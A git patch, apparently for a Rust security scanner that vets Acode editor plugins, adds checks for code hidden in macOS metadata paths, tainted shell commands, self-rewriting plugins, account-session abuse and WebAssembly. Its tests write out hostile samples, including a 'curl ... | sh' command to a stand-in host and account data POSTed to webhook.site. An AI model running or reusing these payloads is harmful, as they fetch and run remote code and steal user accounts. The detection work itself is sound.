From f3d6b11fa45188a63c4cba35af43380f36053465 Mon Sep 17 00:00:00 2001 From: Raunak Raj <71929976+bajrangCoder@users.noreply.github.com> Date: Fri, 23 Oct 2026 11:44:27 +0530 Subject: [PATCH 1/2] feat: close loader/installer gaps, grade tainted shell sinks, scan wasm - Scan `__MACOSX/`, `.DS_Store` and `Thumbs.db` entries: Acode installs them, so code hidden there was never analysed. Real metadata is recognised by its header and stays quiet. - Resolve `main` the way loadPlugin.js does: a `main` that climbs out of the plugin folder is Critical, one with backslashes falls back to main.js. - Grade Executor / terminal commands by source like eval: downloaded is Critical, decoded is High. - Follow `.call`, `.apply`, `.bind`, `Reflect.apply` and `Reflect.construct` to the real target. - Flag plugins that write scripts or plugin.json where code is loaded from (own folder, baseUrl, cache/data storage); Critical when the content is downloaded or the entry/manifest is rewritten. - Flag requests to acode.app/api, which Acode sends with the user's cookies (non-GET High, account reads Medium and part of the exfiltration check), and calls to the Authenticator bridge (`saveToken` Critical). - Parse WebAssembly modules, shipped (by header) or inlined as base64: flag imports that run JS strings, feed data-segment URLs into the endpoint checks, flag disguised/invalid modules and modules compiled from remote URLs. --- README.md | 38 +++-- src/analysis.rs | 117 +++++++++++++ src/archive.rs | 78 +++++++-- src/js.rs | 363 ++++++++++++++++++++++++++++++++++++++-- src/main.rs | 1 + src/manifest.rs | 95 ++++++++++- src/report.rs | 2 +- src/rules.rs | 316 ++++++++++++++++++++++++++++++++++- src/severity.rs | 7 +- src/wasm.rs | 432 ++++++++++++++++++++++++++++++++++++++++++++++++ 10 files changed, 1400 insertions(+), 49 deletions(-) create mode 100644 src/wasm.rs diff --git a/README.md b/README.md index 88236a7..c80f710 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,7 @@ threshold reached, `2` unreadable archive or other error. | --- | --- | --- | | `pass` | Nothing above Medium. Safe to publish without a human look. | Normal editor plugins: fs, fetch, commands, storage, settings. | | `review` | Something powerful enough that a person should look. | Shell/terminal access, all-files permission, Play billing, obfuscation, tampering with other plugins, decoded code execution, scan incomplete. | -| `block` | A Critical finding: no legitimate plugin needs it, or the zip is built to confuse the installer. | Remote code execution, core-module hijack, download-and-run shell commands, plugin-context bridge calls, exfiltration to webhooks, install-path collisions, no `plugin.json`. | +| `block` | A Critical finding: no legitimate plugin needs it, or the zip is built to confuse the installer. | Remote code or shell commands, core-module hijack, download-and-run shell commands, plugin-context bridge calls, planting an acode.app session, rewriting its own entry script, exfiltration to webhooks, install-path collisions, a `main` the loader resolves outside the plugin, no `plugin.json`. | For **updates**, use `diff`. A terminal plugin always comes out as `review` on a full scan, but if nothing new appears in the diff, the update is `pass`. @@ -93,18 +93,29 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's - encrypted entries - compression methods other than stored/deflate - native binaries detected by magic bytes + - code under `__MACOSX/`, `.DS_Store` or `Thumbs.db` names, which unzip + tools hide but Acode installs (real metadata is recognised by its header) Overwritten entries are still analysed. -- **Entry resolution like `installPlugin.js`.** `main` is looked up by exact - key, so `"./dist/main.js"` falls back to `main.js`, just as on device. +- **Entry resolution like `installPlugin.js` and `loadPlugin.js`.** `main` is + looked up by exact key, so `"./dist/main.js"` falls back to `main.js`, just + as on device. The loader then joins the raw `main` onto the plugin folder, + so a `main` that climbs out with `..` runs a file that was never in the zip, + and one with backslashes makes the loader fall back to `main.js`. - **Alias and constant-string resolution.** These all resolve: - `const w = window`, `const { exec } = cordova` - `acode.require("fs")` stored in a variable - `window["ev" + "al"]`, `atob("ZXZhbA==")` - `String.fromCharCode(...)`, `[...].join("")`, `"lave".split("").reverse().join("")` - - `(0, fn)(...)` + - `(0, fn)(...)`, `fn.call(t, ...)`, `fn.apply(t, [...])`, `fn.bind(t)(...)`, + `Reflect.apply(fn, t, [...])` - **One-hop taint.** Values built from `fetch` / `XMLHttpRequest` responses or - decoders are tracked through variables and `.then(...)` chains. + decoders are tracked through variables and `.then(...)` chains, into `eval`, + shell commands, and files written where code is loaded from. +- **WebAssembly is opened up.** Shipped modules (found by header, whatever + their extension) and base64 modules inlined in JS are parsed: imports that + run JavaScript strings are flagged, and URLs in data segments go through the + same endpoint and exfiltration checks as JS. - **Zip-bomb safe.** Reads are capped by the limits, not by declared sizes. Hitting a limit marks the scan incomplete, which forces `review`. @@ -112,16 +123,17 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's | Area | Rule IDs (severity) | | --- | --- | -| Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary` (H), `absolute_path`, `nested_archive` (M) | -| Manifest | `missing`, `invalid_json`, `no_entrypoint` (C), `missing_id/name/version` (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) | -| Shell | `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` (H), `terminal_environment`, `process_control` (M/H) | -| Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) | -| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `acode_api`, `cordova_bridge`, `network_hook`, `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | +| Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary` (H), `absolute_path`, `nested_archive`, `metadata_path_content` (M) | +| Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version` (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) | +| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, shell-profile persistence), `load_library` (C), `exec`, `terminal_module` (H), `terminal_environment`, `process_control` (M/H) | +| Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `account_bridge` (`Authenticator`; C for `saveToken`, else H), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) | +| Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | | Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script` (M), `string_timer`, `script_element`, `import_expression` (L) | -| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command` (H), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) | +| Network | `suspicious_endpoint` (H/M/L by host type), `remote_command`, `acode_account_write` (H: non-GET to `acode.app/api`, which Acode sends with the user's cookies), `acode_account_read` (M), `native_http`, `remote_storage`, `local_server`, `beacon` (M), `fetch`, `xhr`, `websocket`, `event_source`, `open_browser` (L) | | Filesystem / storage | `delete`, `sdcard_write`, `system_write`, `system_exec_bits`, `storage_access_request`, `cordova_file` (M), `write`, `sdcard_read`, `system_read`, `cookies`, `clipboard_read` (L), `read`, `module`, `plugin_dir`, `web_storage`, `indexeddb` (I) | | Obfuscation | `obfuscator_tool`, `packer`, `jsfuck`, `encoded_js_payload` (H), `js.parse_failed`, `js.too_large`, `js.invalid_utf8` (M), `escaped_strings`, `hex_array` (L) | -| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys) and talks to a data-capture endpoint | +| WebAssembly | `remote_module` (H), `eval_import` (H, under dynamic code), `disguised`, `bad_magic`, `parse_failed` (M), `module`, `embedded_module` (L), `instantiate` (I) | +| Correlation | `exfiltration` (C): reads user data (files, editor text, storage, clipboard, keys, acode.app account) and talks to a data-capture endpoint | Prefixes are omitted in the table; full IDs look like `shell.exec`. @@ -131,7 +143,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`. { "schema_version": 2, "scanner_version": "0.2.0", - "rules_version": "2026.10.1", // rescan stored plugins when this changes + "rules_version": "2026.10.2", // rescan stored plugins when this changes "plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... }, "verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] }, "summary": { "total_findings", "by_severity", "by_category" }, diff --git a/src/analysis.rs b/src/analysis.rs index 9491afc..8a0ec72 100644 --- a/src/analysis.rs +++ b/src/analysis.rs @@ -6,6 +6,7 @@ use crate::{ report::{Capability, Endpoint, Finding, Recommendation, Report}, rules::{self, RuleContext}, severity::{Category, Confidence, Severity}, + wasm, }; /// Files above this are not parsed; real plugin bundles are far smaller. @@ -37,6 +38,7 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut let mut reads_sensitive = Vec::new(); let mut url_sources: Vec<(String, String)> = Vec::new(); + let mut embedded_wasm: Vec<(String, Vec)> = Vec::new(); for file in archive.javascript_files() { if options.entry_only && entry.as_deref() != Some(file.path.as_str()) { @@ -104,6 +106,7 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut }; let mut ctx = RuleContext::new(&name, &source, plugin_id.as_deref()); + ctx.entry = entry.as_deref(); let outcome = js::analyze(&mut ctx); report.stats.js_files_parsed += 1; report.stats.js_bytes_parsed += source.len() as u64; @@ -133,10 +136,26 @@ pub fn scan_archive(archive: &PluginArchive, options: ScanOptions, report: &mut reads_sensitive.push(name.clone()); } url_sources.extend(facts.urls.into_iter().map(|url| (name.clone(), url))); + embedded_wasm.extend( + facts + .embedded_wasm + .into_iter() + .enumerate() + .map(|(index, bytes)| (format!("{name} (embedded wasm #{})", index + 1), bytes)), + ); report.findings.extend(ctx.findings); report.sources.insert(name, source); } + if !options.entry_only { + for file in archive.wasm_files() { + wasm::analyze(&file.path, &file.bytes, false, report, &mut url_sources); + } + } + for (name, bytes) in &embedded_wasm { + wasm::analyze(name, bytes, true, report, &mut url_sources); + } + analyse_endpoints(report, &url_sources); correlate(report, &reads_sensitive); @@ -503,6 +522,104 @@ mod tests { assert!(!report.has("dynamic.decoded_exec")); } + #[test] + fn ordinary_wasm_plugin_passes() { + let module = crate::wasm::tests::module( + &[("env", "memory_grow"), ("wbg", "__wbg_log_77aa01")], + b"tree-sitter grammar tables", + ); + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + b"acode.setPluginInit('com.example.p', async (baseUrl) => { await WebAssembly.instantiateStreaming(fetch(baseUrl + 'parser.wasm'), {}) })", + ), + ("parser.wasm", &module), + ]); + assert_eq!( + report.verdict.recommendation, + Recommendation::Pass, + "{:#?}", + report.findings + ); + assert!(report.has("wasm.module")); + } + + #[test] + fn webhook_hidden_in_wasm_data_is_exfiltration() { + let module = crate::wasm::tests::module( + &[("env", "send")], + b"\0https://discord.com/api/webhooks/1/abc\0", + ); + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + b"const fs = acode.require('fs'); acode.setPluginInit('com.example.p', async () => { await fs(DATA_STORAGE).lsDir(); })", + ), + ("lib.wasm", &module), + ]); + assert!( + report.has("correlation.exfiltration"), + "{:#?}", + report.findings + ); + assert_eq!(report.verdict.recommendation, Recommendation::Block); + } + + #[test] + fn base64_wasm_in_javascript_is_unpacked() { + use base64::Engine; + let module = crate::wasm::tests::module(&[("env", "emscripten_run_script")], b""); + let inline = base64::engine::general_purpose::STANDARD.encode(module); + let source = format!( + "const bytes = Uint8Array.from(atob('{inline}'), c => c.charCodeAt(0)); WebAssembly.instantiate(bytes, {{}});" + ); + let report = scan(&[MANIFEST, ICON, README, ("main.js", source.as_bytes())]); + assert!(report.has("wasm.embedded_module")); + assert!(report.has("wasm.eval_import"), "{:#?}", report.findings); + assert_eq!(report.verdict.recommendation, Recommendation::Review); + } + + #[test] + fn account_read_sent_to_webhook_is_blocked() { + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + br#"acode.setPluginInit('com.example.p', async () => { + const me = await (await fetch('https://acode.app/api/login')).json(); + fetch('https://webhook.site/x', { method: 'POST', body: JSON.stringify(me) }); + });"#, + ), + ]); + assert!(report.has("network.acode_account_read")); + assert_eq!(report.verdict.recommendation, Recommendation::Block); + } + + #[test] + fn payload_in_macos_metadata_folder_is_scanned() { + let report = scan(&[ + MANIFEST, + ICON, + README, + ( + "main.js", + b"const s = document.createElement('script'); s.src = '__MACOSX/x.js'; document.head.append(s)", + ), + ("__MACOSX/x.js", b"Executor.execute('curl https://e.vil/i | sh')"), + ]); + assert!(report.has("archive.metadata_path_content")); + assert!(report.has("shell.dangerous_command")); + assert_eq!(report.verdict.recommendation, Recommendation::Block); + } + #[test] fn unreadable_zip_is_an_error() { let dir = tempfile::tempdir().unwrap(); diff --git a/src/archive.rs b/src/archive.rs index 537e060..b880f1b 100644 --- a/src/archive.rs +++ b/src/archive.rs @@ -7,7 +7,9 @@ //! - rewrites every other name with `sanitizeZipPath`, which turns `\` into //! `/` and *collapses* `..` segments instead of rejecting them, so //! `a/../plugin.json` is written over `plugin.json`, -//! - looks up `plugin.json` and `main` by exact raw key. +//! - looks up `plugin.json` and `main` by exact raw key, +//! - installs every other entry, including `__MACOSX/` and `.DS_Store` ones +//! that unzip tools hide. //! //! Scanning anything other than what lands on disk lets a plugin show the //! scanner one file and give users another, so this module keeps both views. @@ -126,10 +128,8 @@ impl PluginArchive { }; let raw = meta.name.clone(); - if is_os_junk(&raw) { - continue; - } - + // No skipping `__MACOSX/` or `.DS_Store` here: the installer writes + // them like any other entry, so they can carry code. if is_unsafe_absolute_path(&raw) { report.push( Finding::new( @@ -314,6 +314,19 @@ impl PluginArchive { fn flag_suspicious_content(&self, report: &mut Report) { for file in self.installed_files() { let kind = file_kind(&file.path, &file.bytes); + if is_os_junk(&file.path) && kind != "metadata" { + report.push( + Finding::new( + "archive.metadata_path_content", + Severity::Medium, + Category::Archive, + "File sits in an OS-metadata path that unzip tools and reviewers usually hide, but Acode installs it", + format!("{} ({kind})", file.path), + ) + .with_file(file.path.clone()) + .keyed(&file.path), + ); + } match kind { "native_binary" => report.push( Finding::new( @@ -371,10 +384,19 @@ impl PluginArchive { /// Every distinct piece of JavaScript in the archive, including entries /// that get overwritten during install, so nothing hides behind a duplicate. pub fn javascript_files(&self) -> Vec<&ArchiveFile> { + self.distinct_files(&["javascript", "html"]) + } + + /// Every distinct WebAssembly module, found by header or extension. + pub fn wasm_files(&self) -> Vec<&ArchiveFile> { + self.distinct_files(&["wasm"]) + } + + fn distinct_files(&self, kinds: &[&str]) -> Vec<&ArchiveFile> { let mut seen = std::collections::HashSet::new(); self.files .iter() - .filter(|file| matches!(file_kind(&file.path, &file.bytes), "javascript" | "html")) + .filter(|file| kinds.contains(&file_kind(&file.path, &file.bytes))) .filter(|file| seen.insert((file.path.clone(), sha256_hex(&file.bytes)))) .collect() } @@ -445,6 +467,17 @@ pub fn extension(path: &str) -> String { } pub fn file_kind(path: &str, bytes: &[u8]) -> &'static str { + // AppleDouble (`__MACOSX/._x`), .DS_Store, and Thumbs.db (OLE) headers. + if bytes.starts_with(&[0x00, 0x05, 0x16, 0x07]) + || bytes.starts_with(b"\x00\x00\x00\x01Bud1") + || (bytes.starts_with(&[0xd0, 0xcf, 0x11, 0xe0, 0xa1, 0xb1, 0x1a, 0xe1]) + && is_os_junk(path)) + { + return "metadata"; + } + if bytes.starts_with(crate::wasm::MAGIC) { + return "wasm"; + } if bytes.starts_with(b"\x7fELF") || bytes.starts_with(b"dex\n") || bytes.starts_with(&[0xcf, 0xfa, 0xed, 0xfe]) @@ -581,9 +614,34 @@ mod tests { } #[test] - fn ignores_macos_metadata() { - let (archive, report) = read_zip(&[("__MACOSX/._main.js", b"x"), ("main.js", b"y")]); - assert!(report.findings.is_empty()); - assert_eq!(archive.installed_files().count(), 1); + fn real_macos_metadata_is_quiet() { + let (archive, report) = read_zip(&[ + ( + "__MACOSX/._main.js", + b"\x00\x05\x16\x07\x00\x02\x00\x00Mac OS X", + ), + ("sub/.DS_Store", b"\x00\x00\x00\x01Bud1\x00\x00"), + ("main.js", b"y"), + ]); + assert!(report.findings.is_empty(), "{:?}", report.findings); + // Acode installs these too, so they are part of the installed tree. + assert_eq!(archive.installed_files().count(), 3); + assert_eq!(archive.javascript_files().len(), 1); + } + + #[test] + fn code_in_metadata_paths_is_scanned() { + let (archive, report) = read_zip(&[ + ("__MACOSX/payload.js", b"eval(atob(p))"), + (".DS_Store", b"Executor.execute('id')"), + ("main.js", b"y"), + ]); + assert!(report.has("archive.metadata_path_content")); + let scripts: Vec<_> = archive + .javascript_files() + .into_iter() + .map(|file| file.path.as_str()) + .collect(); + assert!(scripts.contains(&"__MACOSX/payload.js"), "{scripts:?}"); } } diff --git a/src/js.rs b/src/js.rs index 088bc65..23b6cca 100644 --- a/src/js.rs +++ b/src/js.rs @@ -19,8 +19,8 @@ use oxc_allocator::Allocator; use oxc_ast::ast::{ Argument, ArrayExpression, ArrayExpressionElement, AssignmentExpression, AssignmentTarget, BinaryOperator, BindingPattern, CallExpression, ChainElement, Expression, IdentifierReference, - ImportExpression, LogicalOperator, MemberExpression, NewExpression, StaticMemberExpression, - StringLiteral, TemplateLiteral, VariableDeclarator, + ImportExpression, LogicalOperator, MemberExpression, NewExpression, ObjectPropertyKind, + StaticMemberExpression, StringLiteral, TemplateElement, TemplateLiteral, VariableDeclarator, }; use oxc_ast_visit::{Visit, walk}; use oxc_parser::Parser; @@ -193,22 +193,22 @@ impl<'s> Resolver<'s> { "cordova.exec".to_string() } "fsOperation" => { - // Keep the path's literal parts so rules can tell the plugin's - // own folder from someone else's: `fsOperation(plugin_dir|x|main.js)`. + // Keep where the path points and its literal parts, so rules + // can tell the plugin's own folder from someone else's: + // `fsOperation(plugin_dir|x|main.js)`, `fsOperation(own_dir|main.js)`. let mut literals = Vec::new(); - let mut plugin_dir = false; + let mut zone = None; for expr in call.arguments.iter().filter_map(Argument::as_expression) { let probe = self.probe(expr); - plugin_dir |= probe.plugin_dir(); + zone = zone.or(probe.zone()); literals.extend(probe.literals); } - if plugin_dir { - format!( - "fsOperation(plugin_dir|{})", + match zone { + Some(zone) => format!( + "fsOperation({zone}|{})", literals.join("|").replace(").", ")_") - ) - } else { - "fsOperation()".to_string() + ), + None => "fsOperation()".to_string(), } } "document.createElement" => { @@ -449,7 +449,44 @@ impl<'s> Resolver<'s> { Expression::FunctionExpression(_) | Expression::ArrowFunctionExpression(_) ), path: self.resolve(expr), + is_object: matches!(expr.get_inner_expression(), Expression::ObjectExpression(_)), + http_method: self.object_field(expr, "method"), + fetch_url: self.fetch_url(expr), + } + } + + /// `fetch(url)` or `await fetch(url)`: the URL, when partly known. + fn fetch_url(&self, expr: &Expression<'_>) -> Option { + let expr = match expr.get_inner_expression() { + Expression::AwaitExpression(await_expr) => await_expr.argument.get_inner_expression(), + other => other, + }; + let Expression::CallExpression(call) = expr else { + return None; + }; + if self.resolve(&call.callee).as_deref() != Some("fetch") { + return None; } + self.approx(call.arguments.first()?.as_expression()?, 0) + } + + /// Constant value of `field` in an object literal. + fn object_field(&self, expr: &Expression<'_>, field: &str) -> Option { + let Expression::ObjectExpression(object) = expr.get_inner_expression() else { + return None; + }; + object + .properties + .iter() + .rev() + .find_map(|property| match property { + ObjectPropertyKind::ObjectProperty(property) + if property.key.static_name().as_deref() == Some(field) => + { + self.fold(&property.value) + } + _ => None, + }) } fn argument_info(&self, argument: &Argument<'_>) -> Arg { @@ -518,14 +555,17 @@ fn percent_decode(value: &str) -> Option { } /// Looks inside an expression for data that came from the network, from a -/// decoder, or that points at the plugins directory. +/// decoder, or that points at the plugins directory or the plugin's own files. struct FlowProbe<'r, 's> { resolver: &'r Resolver<'s>, decoded: bool, remote: bool, plugin_dir_constant: bool, data_storage: bool, + cache_storage: bool, plugins_literal: bool, + /// `baseUrl`, the plugin folder Acode passes to the init callback. + base_url: bool, literals: Vec, } @@ -537,7 +577,9 @@ impl<'r, 's> FlowProbe<'r, 's> { remote: false, plugin_dir_constant: false, data_storage: false, + cache_storage: false, plugins_literal: false, + base_url: false, literals: Vec::new(), } } @@ -546,12 +588,26 @@ impl<'r, 's> FlowProbe<'r, 's> { self.plugin_dir_constant || (self.data_storage && self.plugins_literal) } + /// Where a file path points, for the folders a plugin can load code from. + fn zone(&self) -> Option<&'static str> { + if self.plugin_dir() { + Some("plugin_dir") + } else if self.base_url { + Some("own_dir") + } else if self.data_storage || self.cache_storage { + Some("app_data") + } else { + None + } + } + fn global_name(&mut self, name: &str) { match name { "atob" | "unescape" | "decodeURIComponent" | "TextDecoder" => self.decoded = true, "fetch" | "XMLHttpRequest" => self.remote = true, "PLUGIN_DIR" => self.plugin_dir_constant = true, "DATA_STORAGE" => self.data_storage = true, + "CACHE_STORAGE" => self.cache_storage = true, _ => {} } } @@ -559,6 +615,7 @@ impl<'r, 's> FlowProbe<'r, 's> { impl<'a> Visit<'a> for FlowProbe<'_, '_> { fn visit_identifier_reference(&mut self, it: &IdentifierReference<'a>) { + self.base_url |= it.name.as_str() == "baseUrl"; match self.resolver.symbol(it) { Some(symbol) => { self.remote |= self.resolver.remote.contains(&symbol); @@ -576,6 +633,8 @@ impl<'a> Visit<'a> for FlowProbe<'_, '_> { match it.property.name.as_str() { "fromCharCode" => self.decoded = true, "responseText" => self.remote = true, + "baseUrl" => self.base_url = true, + "cacheFileUrl" => self.cache_storage = true, name if GLOBAL_OBJECTS.iter().all(|global| *global != name) => { if matches!( self.resolver.resolve(&it.object).as_deref(), @@ -590,7 +649,19 @@ impl<'a> Visit<'a> for FlowProbe<'_, '_> { } fn visit_string_literal(&mut self, it: &StringLiteral<'a>) { - let value = it.value.as_str(); + self.literal(it.value.as_str()); + } + + fn visit_template_element(&mut self, it: &TemplateElement<'a>) { + self.literal(it.value.cooked.unwrap_or(it.value.raw).as_str()); + } +} + +impl FlowProbe<'_, '_> { + fn literal(&mut self, value: &str) { + if value.is_empty() { + return; + } if self.literals.len() < 8 && value.len() < 200 { self.literals.push(value.to_string()); } @@ -702,6 +773,58 @@ impl Scanner<'_, '_, '_, '_> { member.property.name.as_str() == "then" && self.resolver.probe(&member.object).remote } + /// `f.call(t, a)`, `f.apply(t, [a])`, `f.bind(t)(a)`, `Reflect.apply(f, t, [a])` + /// and `Reflect.construct(f, [a])` all call `f` with `a`. + fn unwrap_indirect_call( + &self, + path: &str, + call: &CallExpression<'_>, + args: &[Arg], + ) -> Option<(String, Vec)> { + let reflect_list = match path { + "Reflect.apply" => Some(2), + "Reflect.construct" => Some(1), + _ => None, + }; + if let Some(index) = reflect_list { + let target = args.first()?.path.clone()?; + return Some((target, self.array_args(call.arguments.get(index)))); + } + if let Some(target) = path.strip_suffix(".call") { + return Some((target.to_string(), args.iter().skip(1).cloned().collect())); + } + if let Some(target) = path.strip_suffix(".apply") { + return Some((target.to_string(), self.array_args(call.arguments.get(1)))); + } + let target = path.strip_suffix(".bind()")?; + Some((target.to_string(), args.to_vec())) + } + + /// Arguments passed as one array. An array that isn't a literal still + /// carries its taint, as a single unknown argument. + fn array_args(&self, argument: Option<&Argument<'_>>) -> Vec { + let Some(expr) = argument.and_then(Argument::as_expression) else { + return Vec::new(); + }; + match expr.get_inner_expression() { + Expression::ArrayExpression(array) => array + .elements + .iter() + .map(|element| { + element + .as_expression() + .map(|expr| self.resolver.arg_info(expr)) + .unwrap_or_default() + }) + .collect(), + _ => vec![Arg { + value: None, + approx: None, + ..self.resolver.arg_info(expr) + }], + } + } + fn classify(&mut self, path: &str, span: Span, args: &[Arg]) { rules::classify_call( self.ctx, @@ -785,7 +908,10 @@ impl<'a> Visit<'a> for Scanner<'_, '_, '_, '_> { .iter() .map(|argument| self.resolver.argument_info(argument)) .collect(); - self.classify(&path, it.span, &args); + match self.unwrap_indirect_call(&path, it, &args) { + Some((target, target_args)) => self.classify(&target, it.span, &target_args), + None => self.classify(&path, it.span, &args), + } let remote_then = self.is_then_on_remote(it); if remote_then { @@ -1073,6 +1199,213 @@ mod tests { ); } + #[test] + fn follows_call_apply_bind_and_reflect() { + assert!(has("eval.call(null, code)", "dynamic.eval")); + assert!(has("eval.apply(null, [code])", "dynamic.eval")); + assert!(has( + "const run = eval.bind(null); run(code)", + "dynamic.eval" + )); + assert!(has("Reflect.apply(eval, null, [code])", "dynamic.eval")); + assert!(has( + "Reflect.construct(Function, [code])", + "dynamic.function_constructor" + )); + assert!(has("Executor.execute.call(Executor, 'ls')", "shell.exec")); + assert!(has( + "const ex = window.Executor.execute; ex.apply(null, ['ls'])", + "shell.exec" + )); + assert!(has( + "fetch(u).then(r => r.text()).then(c => eval.call(null, c))", + "dynamic.remote_code" + )); + // The first argument of `call` is `this`, not the code. + assert!(!has("eval.call('not code')", "dynamic.eval")); + } + + fn severity_of(source: &str, id: &str) -> Option { + findings(source) + .into_iter() + .filter(|(found, _)| found == id) + .map(|(_, severity)| severity) + .max() + } + + #[test] + fn flags_plugins_that_rewrite_their_own_code() { + let id = "tampering.self_modify"; + assert_eq!( + severity_of( + "fsOperation(Url.join(PLUGIN_DIR, 'com.example.test', 'main.js')).writeFile(code)", + id + ), + Some(Severity::Critical) + ); + assert_eq!( + severity_of( + "acode.setPluginInit('com.example.test', (baseUrl) => fsOperation(baseUrl + 'plugin.json').writeFile(json))", + id + ), + Some(Severity::Critical) + ); + assert_eq!( + severity_of( + "fetch(u).then(r => r.text()).then(c => acode.fsOperation(`${this.baseUrl}chunk.js`).writeFile(c))", + id + ), + Some(Severity::Critical) + ); + assert_eq!( + severity_of( + "const fs = acode.require('fs'); fs(CACHE_STORAGE).createFile('stage.js', data)", + id + ), + Some(Severity::High) + ); + assert_eq!( + severity_of( + "fsOperation(this.baseUrl + 'data.txt').renameTo('x.js')", + id + ), + Some(Severity::High) + ); + // Settings files in the plugin folder and scripts in user projects are fine. + assert!(!has( + "fsOperation(this.baseUrl + 'settings.json').writeFile(json)", + id + )); + assert!(!has( + "fsOperation(projectDir).createFile('index.js', tpl)", + id + )); + // Another plugin's folder is a different, existing rule. + assert!(has( + "fsOperation(Url.join(PLUGIN_DIR, 'victim', 'main.js')).writeFile(code)", + "tampering.plugin_files" + )); + } + + #[test] + fn flags_use_of_the_users_acode_app_session() { + assert_eq!( + severity_of( + "fetch('https://acode.app/api/comment', { method: 'POST', body })", + "network.acode_account_write" + ), + Some(Severity::High) + ); + assert!(has( + "fetch(`https://acode.app/api/plugin/${id}`, { method: 'delete' })", + "network.acode_account_write" + )); + assert!(has( + "fetch('https://acode.app/api/login')", + "network.acode_account_read" + )); + assert!(has( + "fetch('https://acode.app/api/user', { headers })", + "network.acode_account_read" + )); + // Public registry reads are what plugin managers do. + assert!( + !ids("fetch('https://acode.app/api/plugins?page=1')") + .iter() + .any(|id| id.starts_with("network.acode_account")) + ); + // Options built elsewhere could hold any method. + assert_eq!( + severity_of( + "fetch('https://acode.app/api/plugin', opts)", + "network.acode_account_write" + ), + Some(Severity::Medium) + ); + } + + #[test] + fn grades_webassembly_loading() { + assert!(has( + "WebAssembly.instantiateStreaming(fetch('https://cdn.example.com/x.wasm'), imports)", + "wasm.remote_module" + )); + assert!(has( + "const U = 'https://e.vil/m.wasm'; WebAssembly.compileStreaming(await fetch(U))", + "wasm.remote_module" + )); + // Loading the plugin's own module is normal. + assert!(!has( + "WebAssembly.instantiateStreaming(fetch(baseUrl + 'tree-sitter.wasm'), imports)", + "wasm.remote_module" + )); + assert!(has( + "WebAssembly.instantiate(bytes, imports)", + "wasm.instantiate" + )); + } + + #[test] + fn grades_account_bridge_calls() { + assert_eq!( + severity_of( + "cordova.exec(a, b, 'Authenticator', 'saveToken', [token])", + "native.account_bridge" + ), + Some(Severity::Critical) + ); + assert_eq!( + severity_of( + "cordova.exec(a, b, 'Authenticator', 'logout', [])", + "native.account_bridge" + ), + Some(Severity::High) + ); + assert!(!has( + "cordova.exec(a, b, 'Authenticator', 'logout', [])", + "native.cordova_exec" + )); + } + + #[test] + fn grades_shell_commands_by_source() { + let shell_max = |source: &str| { + findings(source) + .into_iter() + .filter(|(id, _)| id.starts_with("shell.")) + .map(|(_, severity)| severity) + .max() + }; + assert_eq!( + shell_max("Executor.execute('apk add git')"), + Some(Severity::High) + ); + assert_eq!( + shell_max( + "async function f(){ const r = await fetch(u); Executor.execute(await r.text()) }" + ), + Some(Severity::Critical) + ); + assert!(has( + "fetch(u).then(r => r.json()).then(d => Executor.execute(`apk add ${d.pkg}`))", + "shell.remote_command" + )); + assert!(has( + "Executor.spawnStream(['sh', '-c', x.responseText], cb)", + "shell.remote_command" + )); + // A constant command inside a fetch callback is not downloaded. + assert!(!has( + "fetch(u).then(() => Executor.execute('apk add git'))", + "shell.remote_command" + )); + assert!(has("Executor.execute(atob(cmd))", 